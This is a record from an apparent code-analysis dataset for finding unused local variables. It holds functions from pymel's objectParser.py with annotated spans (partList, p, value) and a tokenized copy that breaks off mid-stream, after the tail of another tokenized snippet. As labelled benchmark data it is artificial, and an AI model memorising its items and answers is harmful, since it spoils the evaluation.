"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "main_", "(_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "state_", "(_", "dev_", ",_", "oid_", ",_", "desi", "red", "\\u", "state_", ",_", "module_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "current", "\\u", "state_", "=_", "dev_", "._", "get", "\\u", "value_", "(_", "oid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "module_", "._", "fail", "\\u", "json_", "(_", "msg_", "=_", "str_", "(_", "err_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "current", "\\u", "state_", "==_", "desi", "red", "\\u", "state_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dev_", "._", "set_", "(_", "oid_", ",_", "desi", "red", "\\u", "state_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\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pymel-1.0.5/pymel/util/objectParser.py
[ { "content": " def compileName( self ):\n newname = u''\n partList = []\n def getParts( obj, newname ):\n try:\n for x in obj.parts:\n #print repr(x)\n newname = getParts(x, newname)\n except AttributeError:\n #print \"DEAD\", repr(obj)\n newname += unicode(obj._name)\n return newname\n self._name = getParts( self, newname )\n return self._name", "metadata": "root.Parsed.compileName", "header": "['class', 'Parsed', '(', 'ProxyUni', ')', ':', '___EOS___']", "index": 77 }, { "content": " def __new__(cls, *args, **kwargs):\n \"\"\" Creation of a Parsed object from a LexToken, other Parsed of compatible type or string,\n if a string is passed it will be parsed and checked for compatibility with this Parsed type \"\"\"\n\n debug = kwargs.get('debug', verbose())\n # type checking\n data = None\n if args :\n if len(args) == 1:\n data = args[0]\n else :\n data = tuple(args)\n\n # some data (when initializing from single arg) can define the type of Parsed object to be created\n ptype = None\n if data is None :\n # only authorize Empty to be built without arguments\n ptype = 'Empty'\n elif isinstance(data, lex.LexToken) :\n ptype = kwargs.get('type', data.type)\n elif isinstance(data, Parsed) :\n ptype = data.__class__\n # can override type with the keyword 'type'\n ptype=kwargs.get('type', ptype)\n\n if (cls is Parsed or cls is Token) : #issubclass(cls, Token) ):\n if ptype is not None :\n if verbose():\n print \"__new__ called on Parsed/Token %s with type %r\" % (cls.__name__, ptype)\n newcls = Parsed.classes.get(ptype, None)\n # can only specify an existing subclass of cls\n if newcls is None :\n raise TypeError, \"Type %s does not correspond to any existing Parsed sub-class (%s does not exist)\" % (ptype, cls.__name__ )\n else :\n clsname = newcls.__name__\n if not issubclass(newcls, cls) :\n raise TypeError, \"Type %s would create a class %s that is not a sub-class of the class %s that __new__ was called on\" % (ptype, clsname, cls.__name__)\n else :\n raise TypeError, \"Class %s is an abstract class and can't be created directly, you must specify a valid sub-type\" % (cls.__name__)\n else :\n if verbose():\n print \"__new__ called on explicit class %s\" % (cls.__name__)\n clsname = cls.__name__\n newcls = cls\n\n # print \"Creating new instance of Parsed class: %r\" % newcls\n\n # process arguments and build, check arguments compatibility with that type\n pos = None\n sub = []\n valid = False\n value = data\n\n #if debug : print \"VALUE1\", value, repr(value)\n\n # special case for LexToken\n if isinstance(data, lex.LexToken) :\n if issubclass(newcls, Token) :\n # from a unique lex Token, do not check if also creating a Token\n sub = []\n pos = data.lexpos\n value = data.value\n valid = True\n else :\n # build a Token from it\n value = Token(data.value, ptype=data.type, pos=data.pos)\n\n if data is None :\n # Tokens can have default value to allow initialization without arguments\n try :\n value = newcls.default()\n valid = True\n except :\n valid = False\n elif isinstance(data, newcls) :\n #if debug : print \"IS INSTANCE\", data, repr(data)\n # from a similar class, copy it\n sub = data.sub\n pos = data.pos\n valid = data.isValid()\n value = unicode(data)\n elif newcls.accepts(data) :\n #if debug : print \"ACCEPTS\", data, repr(data)\n # from a compatible Parsed sub class, build the sub list from it\n sub.append(data)\n pos = data.pos\n valid = data.isValid()\n value = unicode(data)\n elif isSequence(data) and not isinstance(data, basestring):\n # building from sub parts, must be of the same type and in class _accepts\n # TODO : use yacc own rules for accepts\n if data :\n valid = True\n p = 0\n for arg in data :\n # converts LexTokens directly\n if isinstance(arg, lex.LexToken) :\n a = Token(arg.value, ptype=arg.type, pos=data.pos)\n else :\n a = arg\n # now check if it's a suitable sub-part or derived class\n if isinstance(a, newcls) :\n sub += a.sub\n elif newcls.accepts(a) :\n sub.append(a)\n else :\n valid = False\n break\n value = u\"\".join(map(unicode, data))\n if valid :\n pos = sub[0].pos\n else :\n sub = []\n else :\n value = ''\n else :\n if debug : print \"REPARSE\", data, repr(data)\n # reparse unless it's a Token we already know the type of\n value = unicode(data)\n if issubclass(newcls, Token) and newcls is not Token :\n sub = []\n pos = 0\n valid = True\n else :\n valid = False\n\n # parse if necessary\n if valid :\n # print \"No reparsing necessary for a resulting value %s (%r)\" % (value, value)\n strvalue = unicode(value)\n elif isinstance(value, basestring) :\n if debug :\n print \"%s: Will need to reparse value %r\" % (clsname, value)\n newcls.classparserbuild(debug=debug)\n if debug : print \"VALUE\", value, type(value)\n result = newcls.classparse(value, debug=debug)\n if debug : print \"RESULT\", result, type(result), isinstance(result, newcls)\n if result is not None and isinstance(result, newcls) :\n strvalue = unicode(result)\n valid = result._valid\n sub = result._sub\n pos = result._pos\n if debug : print \"SUB\", sub\n else :\n strvalue = ''\n valid = False\n else :\n raise TypeError, \"invalid argument(s) %r, cannot be parsed to create a Parsed object of type %s\" % (value, clsname)\n\n if valid :\n # create a unicode object with appropriate string value\n newobj = super(Parsed, cls).__new__(newcls)\n newobj._name = strvalue\n #if debug: print \"NAME\", newobj, type(newobj), sub#, inspect.getmro(newobj)\n # set instance attributes\n newobj._sub = tuple(sub)\n newobj._valid = valid\n # override for pos\n pos = kwargs.get('pos', pos)\n if pos is not None :\n pos += kwargs.get('offset', 0)\n\n if pos is None or (isinstance(pos, int) and pos>=0) :\n newobj._pos = pos\n else :\n raise ValueError, \"A Parsed pos can only be None or an unsigned int, %r invalid\" % pos\n\n return newobj", "metadata": "root.Parsed.__new__", "header": "['class', 'Parsed', '(', 'ProxyUni', ')', ':', '___EOS___']", "index": 231 }, { "content": " def __add__(self, other):\n \"\"\" p1.__add__(p2) <==> p1+p2\n if p1 and p2 are of the same Parsed type, it's equivalent to reparsing str(p1) + str(p2)\n if p2 is an accepted sub part of p1, it adds it to the sub-parts\n \"\"\"\n # The Parsed _accepts defines validity\n # TODO : use yacc own rules to check validity without a full reparse\n cls = self.__class__\n selfvalid = self.isValid()\n sublist = list(self.sub)\n value = unicode(self)\n # check other's type\n if isinstance(other, cls) :\n othervalid = other.isValid()\n sublist += other.sub\n elif self.accepts(other) :\n othervalid = other.isValid()\n sublist.append(other)\n elif isinstance(other, basestring) :\n othervalid = False\n else :\n raise TypeError, \"cannot add %s and %s\" % (type(self), type(other))\n\n if selfvalid and othervalid :\n # no reparse\n result = cls(*sublist)\n else :\n # reparse\n result = cls(unicode(self)+unicode(other))\n\n return result", "metadata": "root.Parsed.__add__", "header": "['class', 'Parsed', '(', 'ProxyUni', ')', ':', '___EOS___']", "index": 400 } ]
[ { "span": "partList ", "start_line": 79, "start_column": 8, "end_line": 79, "end_column": 16 }, { "span": "p ", "start_line": 324, "start_column": 16, "end_line": 324, "end_column": 17 }, { "span": "value ", "start_line": 410, "start_column": 8, "end_line": 410, "end_column": 13 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Pars", "ed_", "(_", "Pro", "xy", "Uni", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "compile", "Name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "newname_", "=_", "u", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "part", "List_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "Parts_", "(_", "obj_", ",_", "newname_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "x_", "in_", "obj_", "._", "parts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "repr", "(", "x", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "newname_", "=_", "get", "Parts_", "(_", "x_", ",_", "newname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "\"", "DEAD", "\",", " ", "repr", "(", "obj", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "newname_", "+=_", "unicode_", "(_", "obj_", "._", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "newname_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "name_", "=_", "get", "Parts_", "(_", "self_", ",_", "newname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pars", "ed_", "(_", "Pro", "xy", "Uni", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "new\\u\\u_", "(_", "cls_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Creat", "ion", " ", "of", " ", "a", " ", "Pars", "ed", " ", "object", " ", "from", " ", "a", " ", "Lex", "Token", ",", " ", "other", " ", "Pars", "ed", " ", "of", " ", "compatible", " ", "type", " ", "or", " ", "string", ",", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "a", " ", "string", " ", "is", " ", "pass", "ed", " ", "it", " ", "will", " ", "be", " ", "parsed", " ", "and", " ", "checke", "d", " ", "for", " ", "compatibility", " ", "with", " ", "this", " ", "Pars", "ed", " ", "type", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "debug_", "=_", "kwargs_", "._", "get_", "(_", "'", "debug", "'_", ",_", "verbose_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "type", " ", "checking", "_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "args_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "args_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "tuple_", "(_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "some", " ", "data", " ", "(", "whe", "n", " ", "initiali", "zin", "g", " ", "from", " ", "single", " ", "arg", ")", " ", "can", " ", "defin", "e", " ", "the", " ", "type", " ", "of", " ", "Pars", "ed", " ", "object", " ", "to", " ", "be", " ", "created_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ptype_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "data_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "only", " ", "authoriz", "e", " ", "Emp", "ty", " ", "to", " ", "be", " ", "bui", "lt", " ", "with", "out", " ", "arguments_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ptype_", "=_", "'", "Emp", "ty", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "data_", ",_", "lex_", "._", "Lex", "Token_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ptype_", "=_", "kwargs_", "._", "get_", "(_", "'", "type", "'_", ",_", "data_", "._", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "data_", ",_", "Pars", "ed_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ptype_", "=_", "data_", "._", "\\u\\u", "class\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "can", " ", "override", " ", "type", " ", "with", " ", "the", " ", "keyw", "ord", " ", "'", "type", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ptype_", "=_", "kwargs_", "._", "get_", "(_", "'", "type", "'_", ",_", "ptype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "cls_", "is_", "Pars", "ed_", "or_", "cls_", "is_", "Token_", ")_", ":_", "#", "issu", "bc", "lass", "(", "cls", ",", " ", "Token", ")", " ", "):", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "ptype_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "verbose_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "\"\\u\\u", "new", "\\u\\u", " ", "call", "ed", " ", "on", " ", "Pars", "ed", "/", "Token", " ", "%", "s", " ", "with", " ", "type", " ", "%", "r", "\"_", "%_", "(_", "cls_", "._", "\\u\\u", "name\\u\\u_", ",_", "ptype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "newc", "ls_", "=_", "Pars", "ed_", "._", "classes_", "._", "get_", "(_", "ptype_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "can", " ", "only", " ", "speci", "fy", " ", "an", " ", "exist", "ing", " ", "subclass", " ", "of", " ", "cls_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "newc", "ls_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Type", "Error_", ",_", "\"", "Type", " ", "%", "s", " ", "doe", "s", " ", "not", " ", "correspond", " ", "to", " ", "any", " ", "exist", "ing", " ", "Pars", "ed", " ", "sub", "-", "class", " ", "(%", "s", " ", "doe", "s", " ", "not", " ", "exist", ")\"_", "%_", "(_", "ptype_", ",_", "cls_", "._", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "cls", "name_", "=_", "newc", "ls_", "._", "\\u\\u", "name\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "issubclass_", "(_", "newc", "ls_", ",_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Type", "Error_", ",_", "\"", "Type", " ", "%", "s", " ", "wou", "ld", " ", "create", " ", "a", " ", "class", " ", "%", "s", " ", "tha", "t", " ", "is", " ", "not", " ", "a", " ", "sub", "-", "class", " ", "of", " ", "the", " ", "class", " ", "%", "s", " ", "tha", "t", " ", "\\u\\u", "new", "\\u\\u", " ", "was", " ", "call", "ed", " ", "on", "\"_", "%_", "(_", "ptype_", ",_", "cls", "name_", ",_", "cls_", "._", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", ",_", "\"", "Class", " ", "%", "s", " ", "is", " ", "an", " ", "abstract", " ", "class", " ", "and", " ", "can", "'", "t", " ", "be", " ", "created", " ", "direct", "ly", ",", " ", "you", " ", "must", " ", "speci", "fy", " ", "a", " ", "valid", " ", "sub", "-", "type", "\"_", "%_", "(_", "cls_", "._", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "verbose_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"\\u\\u", "new", "\\u\\u", " ", "call", "ed", " ", "on", " ", "explicit", " ", "class", " ", "%", "s", "\"_", "%_", "(_", "cls_", "._", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cls", "name_", "=_", "cls_", "._", "\\u\\u", "name\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "newc", "ls_", "=_", "cls_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "\"", "Creat", "ing", " ", "new", " ", "instance", " ", "of", " ", "Pars", "ed", " ", "class", ":", " ", "%", "r", "\"", " ", "%", " ", "newc", "ls_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "process", " ", "argu", "ment", "s", " ", "and", " ", "build", ",", " ", "check", " ", "argu", "ment", "s", " ", "compatibility", " ", "with", " ", "tha", "t", " ", "type_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pos_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "valid_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "debug", " ", ":", " ", "print", " ", "\"", "VALU", "E1", "\",", " ", "value", ",", " ", "repr", "(", "value", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "special", " ", "case", " ", "for", " ", "Lex", "Token_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "isinstance_", "(_", "data_", ",_", "lex_", "._", "Lex", "Token_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "issubclass_", "(_", "newc", "ls_", ",_", "Token_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "from", " ", "a", " ", "unique", " ", "lex", " ", "Token", ",", " ", "do", " ", "not", " ", "check", " ", "if", " ", "als", "o", " ", "creati", "ng", " ", "a", " ", "Token_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sub_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pos_", "=_", "data_", "._", "lex", "pos_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "data_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "valid_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "build", " ", "a", " ", "Token", " ", "from", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "Token_", "(_", "data_", "._", "value_", ",_", "ptype_", "=_", "data_", "._", "type_", ",_", "pos_", "=_", "data_", "._", "pos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "data_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Token", "s", " ", "can", " ", "have", " ", "default", " ", "value", " ", "to", " ", "allow", " ", "initialization", " ", "with", "out", " ", "arguments_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "newc", "ls_", "._", "default_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "valid_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "valid_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "data_", ",_", "newc", "ls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "debug", " ", ":", " ", "print", " ", "\"", "IS", " ", "INSTANCE", "\",", " ", "data", ",", " ", "repr", "(", "data", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "from", " ", "a", " ", "similar", " ", "class", ",", " ", "copy", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sub_", "=_", "data_", "._", "sub_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pos_", "=_", "data_", "._", "pos_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "valid_", "=_", "data_", "._", "is", "Valid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "unicode_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "newc", "ls_", "._", "accepts", "_", "(_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "debug", " ", ":", " ", "print", " ", "\"", "ACCEPT", "S", "\",", " ", "data", ",", " ", "repr", "(", "data", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "from", " ", "a", " ", "compatible", " ", "Pars", "ed", " ", "sub", " ", "class", ",", " ", "build", " ", "the", " ", "sub", " ", "list", " ", "from", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sub_", "._", "append_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pos_", "=_", "data_", "._", "pos_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "valid_", "=_", "data_", "._", "is", "Valid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "unicode_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "is", "Sequence_", "(_", "data_", ")_", "and_", "not_", "isinstance_", "(_", "data_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "buildi", "ng", " ", "from", " ", "sub", " ", "part", "s", ",", " ", "must", " ", "be", " ", "of", " ", "the", " ", "same", " ", "type", " ", "and", " ", "in", " ", "class", " ", "\\u", "accepts", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", " ", ":", " ", "use", " ", "yac", "c", " ", "own", " ", "rule", "s", " ", "for", " ", "accepts", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "valid_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "arg_", "in_", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "convert", "s", " ", "Lex", "Token", "s", " ", "direct", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "isinstance_", "(_", "arg_", ",_", "lex_", "._", "Lex", "Token_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "a_", "=_", "Token_", "(_", "arg_", "._", "value_", ",_", "ptype_", "=_", "arg_", "._", "type_", ",_", "pos_", "=_", "data_", "._", "pos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "a_", "=_", "arg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "now", " ", "check", " ", "if", " ", "it", "'", "s", " ", "a", " ", "suit", "able", " ", "sub", "-", "part", " ", "or", " ", "derive", "d", " ", "class_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "a_", ",_", "newc", "ls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "sub_", "+=_", "a_", "._", "sub_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "newc", "ls_", "._", "accepts", "_", "(_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "sub_", "._", "append_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "valid_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "value_", "=_", "u", "\"\"_", "._", "join_", "(_", "map_", 